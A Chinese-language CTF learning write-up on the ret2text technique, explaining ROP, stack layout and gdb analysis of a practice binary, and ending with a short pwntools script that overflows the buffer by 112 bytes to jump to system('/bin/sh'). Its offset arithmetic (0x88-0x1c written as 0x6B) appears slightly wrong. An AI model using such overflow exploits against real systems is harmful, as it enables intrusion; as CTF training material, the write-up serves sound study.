当前位置:网站首页>跟着CTF-wiki学pwn——ret2text
跟着CTF-wiki学pwn——ret2text
2022-06-23 22:18:00 【大瑞大】
说点什么
肾么叫做万死不辞呀,就是每天被气死一万次,也不辞职…(哭哭
基本知识
ROP
Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
一般的栈结构:
高地址 +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
低地址 esp-->+-----------------+
Gadgets
以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
ROP 攻击一般得满足如下条件
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行
ret指令可以理解成取栈顶的数据作为下次跳转的位置。即,
eip = [esp];
esp = esp+4;
ret 修改eip 和 esp的值
或者简单理解成: pop eip; (pop指令会附加esp的移动,意思是取栈顶的数据作为下次跳转的位置)然后执行 jump
相比之下,call指令即 :push eip;(此时eip为call指令的下一条指令的地址,意思是将call指令的下一条指令地址压入栈) 然后 jump
函数返回时通常会执行下列指令
mov esp ,ebp
pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret 使eip变为返回地址,然后jmp
ret2text
原理
ret2text即控制程序执行程序本身已有的的代码 (.text)。也就是说,在该ELF的.text代码段中是存在可以利用的代码的,如存在system(“/bin/sh”)的代码。
ret2text
checksec查看:
no canary=可以简单栈溢出

ida查看:
可以输入100个字节
gdb调试:
gdb ret2text
disas main
b *0x80486ae

r

lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6B
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6B-->+-----------------+
0x6B+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)

栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目
构造payload
from pwn import *
sh = process('./ret2text')
shell = 0x0804863A
payload = 'a'*112 + p32(shell) #112个字节填满栈空间至ret+shell_add
sh.sendline(payload)
sh.interactive()
边栏推荐
- Unity Text组件空格换行问题
- Three cool and coquettish bottom navigation
- 接私活必备的 6 个开源项目
- Loop caused by add of sublist in list
- 生成所有可能的二叉搜索树
- Cvpr2019/ image translation: transgaga: geometry aware unsupervised image to image translation
- 生成式对抗网络(GANs)及变体
- 【 GBASE的那些事儿】系列直播活动第02期《GBase 8s高可用技术及案例分析法》
- Stm32-------adc (voltage detection)
- Facebook open source shimmer effect
猜你喜欢

Embedded interface review materials

What are the good solutions for industrial control safety of production line

Revit API:明细表 ViewSchedule

Web site SSL certificate

EF Core中的三类事务(SaveChanges、DbContextTransaction、TransactionScope)

Generate all possible binary search trees
![The input parameter is object, but it was passed as [object object] because it needs to be converted to JSON format](/img/8c/b1535e03900d71b075f73f80030064.png)
The input parameter is object, but it was passed as [object object] because it needs to be converted to JSON format

牛客网:接雨水的双指针问题

The lower left corner of vs QT VTK displays the synchronized minor coordinate axis

三维向量场中的通量
随机推荐
Why can't the netherworld fortress machine be remotely connected to the server? What are the ways to solve such problems?
三维向量场中的通量
入参参数为Object,但传递过去却成了[object object] 是因为需要转为JSON格式
暑假第一周
Idea automatically generates unit tests, doubling efficiency!
log Network Execution Time
Loop caused by add of sublist in list
What is the same origin policy?
格林公式挖洞法中内曲线顺时针的直观解释
High imitation Book flag novel flutter edition, learn it
Digital supply chain management system for metallurgical industry: platform lean enterprise management to help the high-quality development of the industry
电子元器件行业B2B交易管理系统:提升数据化驱动能力,促进企业销售业绩增长
文言文能编程???
2022山东健博会,济南国际大健康产业博览会,中国营养健康展
Thinking (87): Protocol encryption and compression
多门店药品进销存系统源码 大型连锁药店管理系统源码
Inftnews | where should the future of the creator economy go in the Web3 world?
生成式对抗网络(GANs)及变体
6. STM32 - serial port data transceiver Foundation
Task queue of laravel